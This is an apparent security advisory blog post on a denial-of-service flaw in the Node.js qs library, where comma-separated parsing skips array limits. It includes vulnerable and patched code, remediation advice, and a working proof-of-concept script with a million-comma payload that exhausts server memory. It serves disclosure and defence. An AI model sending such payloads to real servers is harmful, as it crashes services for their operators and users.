Feb 12, 2026·6 min read·26 visits
The `qs` library (used by Express.js) ignores `arrayLimit` when parsing comma-separated values (`?a=1,2,3...`). Attackers can trigger OOM crashes by sending massive comma strings. Fixed in 6.14.2.
A logic flaw in the popular Node.js `qs` library allows attackers to bypass array limits when the `comma` parsing option is enabled. By sending a crafted query string containing thousands of commas, an unauthenticated attacker can force the application to allocate massive arrays, leading to memory exhaustion and a Denial of Service (DoS). This vulnerability highlights the dangers of 'return early' patterns in input validation logic.
If you've ever written a Node.js web server, you've almost certainly used qs. It's the de facto standard for parsing query strings, sitting underneath heavyweights like Express.js. It turns the chaotic soup of URL parameters (?foo=bar&baz=qux) into nice, clean JavaScript objects. It handles deep nesting, arrays, and all the edge cases that the native querystring module ignores.
But here's the thing about parsing libraries: they are the frontline defense. They touch user input before your application logic even wakes up. If the parser is broken, your fancy authentication middleware doesn't matter. You are already dead.
CVE-2026-2391 targets a specific convenience feature in qs: Comma-Separated Values. Sometimes developers want ?ids=1,2,3 to automatically become ['1', '2', '3'] without forcing the client to send ?ids[]=1&ids[]=2.... To support this, qs offers the comma: true option. It sounds innocent enough, but as we're about to see, enabling this option essentially handed attackers a 'Skip Logic' card for security controls.
The vulnerability isn't a complex buffer overflow or a heap grooming masterpiece. It's a classic case of Order of Operations failure. Developers often implement security limits—like arrayLimit—to prevent memory exhaustion. In qs, the default arrayLimit is 20. If you try to send 100 items, qs is supposed to stop parsing or convert the excess into an object index to save memory.
However, in lib/parse.js, the logic for handling commas was implemented before the limit checks were fully enforced. The code looked at the input string, saw a comma, and immediately thought, "I know what to do here! I'll split this string and return the result right now!"
> [!NOTE]
> The Fatal Mistake: The code returned the result of val.split(',') immediately. It bypassed the subsequent code blocks responsible for checking if the resulting array size exceeded the configured limit.
This means that even if you configured qs to throw an error when limits are exceeded (throwOnLimitExceeded: true), the comma parser would happily generate an array of 1,000,000 items before the validator ever got a chance to object. It’s like a bouncer checking ID at the front door, but leaving the loading dock wide open for anyone carrying a box.
Let's look at the diff. This is where the oversight becomes painful to read. The vulnerability lived in the parseValues function.
The Vulnerable Code (Simplified):
// lib/parse.js (Pre-patch)
var parseValues = function (str, options) {
// ... setup ...
// IF commas are enabled and present...
if (options.comma && val.indexOf(',') > -1) {
// ... SPLIT AND RETURN IMMEDIATELY
return val.split(',');
}
// ... complex parsing logic and LIMIT CHECKS happen down here ...
};See that return? That's the game over. The function exits before it ever reaches the code that says, "Hey, is this array too big?"
The Fix (Commit f6a7abf):
The maintainers fixed this by removing the early return and explicitly checking the length of the generated array against the arrayLimit.
// lib/parse.js (Patched)
if (options.comma && val.indexOf(',') > -1) {
var values = val.split(',');
// Explicitly check the limit on the split result
if (values.length > options.arrayLimit) {
if (options.throwOnLimitExceeded) {
throw new RangeError('Array limit exceeded...');
}
// Or safely combine/truncate
values = utils.combine([], values, options.arrayLimit, options.plainObjects);
}
return values;
}The fix forces the comma-split array to undergo the same scrutiny as any other array structure.
Exploiting this is trivially easy if you can find an endpoint where comma: true is enabled. You don't need special headers, you don't need to bypass a WAF (usually), and you don't need authentication.
The Attack Scenario:
qs (common in Node.js apps). They fuzz parameters with commas (?q=a,b) to see if the server treats them as arrays.String.prototype.split allocates a massive array of strings on the heap.Proof of Concept:
const qs = require('qs');
// Target configuration
const options = {
comma: true,
arrayLimit: 5, // We expect this to stop us... but it won't.
throwOnLimitExceeded: true
};
// The payload: 1 million commas
const attackPayload = 'data=' + 'a,'.repeat(1000000);
console.log("Attempting parse...");
try {
const result = qs.parse(attackPayload, options);
console.log(`Success! Array length: ${result.data.length}`);
console.log("The limit of 5 was completely ignored.");
} catch (e) {
console.log("Blocked:", e.message);
}When run against a vulnerable version, this script outputs Array length: 1000001. The memory usage spikes instantly. If an attacker sends concurrent requests like this, the Node.js process will hit its memory limit (default ~1.5GB) and crash with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
You might argue, "Who enables comma: true anyway?" It's less common than the default behavior, but it is frequently used in APIs that want to support compact filter lists (e.g., GET /users?ids=1,2,3).
The consequences are:
This is a classic Asymmetric Attack: It costs the attacker fractions of a penny to generate a string of commas, but it costs the defender significant CPU cycles and RAM to process it.
The remediation is straightforward, but it requires action. This isn't a vulnerability that will magically go away.
Immediate Steps:
qs to 6.14.2 or higher. Run npm audit fix or manually upgrade your package.json.comma: true. If you don't actually need comma-separated parsing, turn it off. The safest code is code that doesn't run.> [!TIP] > Developer Lesson: Never assume a library enforces its own constraints consistently across all features. When enabling "convenience" features (like fuzzy matching or comma parsing), always verify if the standard security limits still apply.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
qs ljharb | <= 6.14.1 | 6.14.2 |
| Attribute | Detail |
|---|---|
| CWE | CWE-20 / CWE-770 |
| CVSS v4.0 | 6.3 (Medium) |
| Attack Vector | Network (Remote) |
| Privileges | None |
| Impact | Denial of Service (Memory Exhaustion) |
| EPSS Score | 0.00049 (~0.05%) |
Improper Input Validation leading to Allocation of Resources Without Limits